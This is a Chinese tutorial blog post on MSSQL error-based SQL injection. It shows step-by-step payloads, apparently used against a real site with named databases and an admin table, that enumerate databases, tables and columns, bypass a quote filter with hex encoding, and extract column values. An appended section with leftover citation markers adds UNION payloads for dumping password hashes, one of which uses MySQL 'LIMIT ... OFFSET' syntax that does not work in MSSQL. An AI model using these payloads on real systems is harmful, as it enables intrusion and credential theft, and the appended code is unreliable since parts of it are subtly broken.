mssql报错注入原理及流程实例

本文详细介绍了MSSQL报错注入的原理及其利用方法。通过实例演示如何找到注入点、判断数据类型并获取数据库信息,包括数据库数量、名称、表名、列名以及列值。

mssql 报错注入

1. 原理

  1. 在MSSQL中,数据类型不一样(例如1=‘1’)会报错,并且报错信息会在日志信息中显示出来;日志文件直接在网页上显示

  2. 利用此原理,进行构造 1=‘mssql语句’,返回报错信息

2. mssql 测试实例

2.1 找注入点

  1. sql注入漏洞一般都在输入框,搜索框,域名地址框中
  2. 根据经验,如果域名中有很多编码,一般都不存在sql注入漏洞
    在这里插入图片描述
  3. id=1 and 1=1;id=1 and 1=2 看web页面有无变化,有变化存在漏洞
  4. id=1‘’ and 1=1 --+;id=1’ and 1=2 --+ 看web页面有无变化,有变化存在漏洞

2.2 判断类型

-- 数字型
id=1 and 1=1
id=1 and 1=2   

-- 字符型
id=1' and 1=1 --+
id=1' and 1=2 --+

2.3 获取信息

获取数据库的数量

(select count(*) from master..sysdatabases)>7
-- 大于6不报错,大于7报错,查询到7个数据库

获取数据库名

select substring((select db_name()),1,1)>10
-- 变成了报错注入,得到第一个字母j
-- 同理第二个字母i 
-- 同理第二个字母a
-- 最终得到数据库名 jiaofan

在这里插入图片描述
当我用上述方式查询完成之后,意识到这是报错注入,不用逐字符获取库名。直接利用报错注入的方法

and (select db_name())=1
-- 直接就将整个库名曝出

在这里插入图片描述

获取表名

-- 由于是报错注入,在web页面上可以直接获取到表名
-- 经过不断的测试,在第25行,也就是not in top 24,找到了表sl_admin
-- 经过测试 xtype='U'不行,只能xtype=0x55;
推测后台防火墙将sql中的'过滤了;0x55是U的16进制编码
and 1=(select top 1 name from ST_WebCourse..sysobjects 
where xtype=0x55 and name not in 
(select top 24 name from ST_WebCourse..sysobjects where xtype=0x55))

在这里插入图片描述
在这里插入图片描述

获取列名

and 1=(select top 1 name from jiaofan..syscolumns 
where id=(select id from jiaofan..sysobjects 
where name=0x73006C005F00610064006D0069006E00) 
and name not in (select top 0 name 
from jiaofan..syscolumns where id=(select id 
from jiaofan..sysobjects where name=0x73006C005F00610064006D0069006E00)))

在这里插入图片描述

获取列中的值

select top 1 u1 from sl_admin where u1 not in (select top 0 u1 from sl_admin)
select top 1 u1 from sl_admin where u1 not in (select top 0 u1 from sl_admin)

在这里插入图片描述

在这里插入图片描述

### MSSQL 错误注入手动 SQL 注入技术 #### 利用错误信息获取数据库结构 当应用程序未能正确处理异常并显示详细的错误信息时,攻击者可以通过构造特定的SQL查询来触发这些错误,进而推断出数据库的内部结构。例如,在某些情况下,尝试访问不存在的对象会引发有用的错误消息。 ```sql ?id=1' AND (SELECT COUNT(*) FROM non_existent_table) > 0 -- ``` 这种类型的请求可能会导致类似于以下的错误响应: > Invalid object name 'non_existent_table'. 这表明服务器正在运行Microsoft SQL Server,并且能够确认对象名称的有效性[^1]。 #### 枚举系统表和列名 一旦确定目标确实使用的是MS SQL Server,就可以利用已知的系统视图如`sysobjects`, `information_schema.columns`等来进行进一步的信息收集。下面是一个简单的例子用于枚举用户定义表的名字: ```sql ?id=1' UNION ALL SELECT TOP 1 name FROM sysobjects WHERE xtype='U' ORDER BY id DESC-- ``` 上述语句试图附加一个额外的结果集到原始查询上,其中包含了来自`sysobjects`的一个记录——即用户的自定义表之一。如果成功的话,页面可能显示出新的数据行,里面含有某个实际存在的表名[^4]。 对于更深入的数据挖掘,还可以继续探索所选表格的具体字段列表: ```sql ?id=1' UNION ALL SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = 'discovered_table_name'-- ``` 这里假设已经知道了某张表的确切名字(比如之前通过其他手段得知),那么此命令将会揭示该表内所有的列标题[^5]。 #### 提取敏感数据 最后一步就是读取具体的内容项了。有了前面几步获得的知识基础之后,可以直接指定想要检索的目标列以及它们所属的表单: ```sql ?id=1' UNION ALL SELECT password_hash, user_id FROM users LIMIT 1 OFFSET 0-- ``` 请注意这里的语法取决于具体的DBMS版本和支持特性;此外,为了绕过潜在的安全机制,有时还需要调整分页参数或其他细节设置[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛顿编程

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值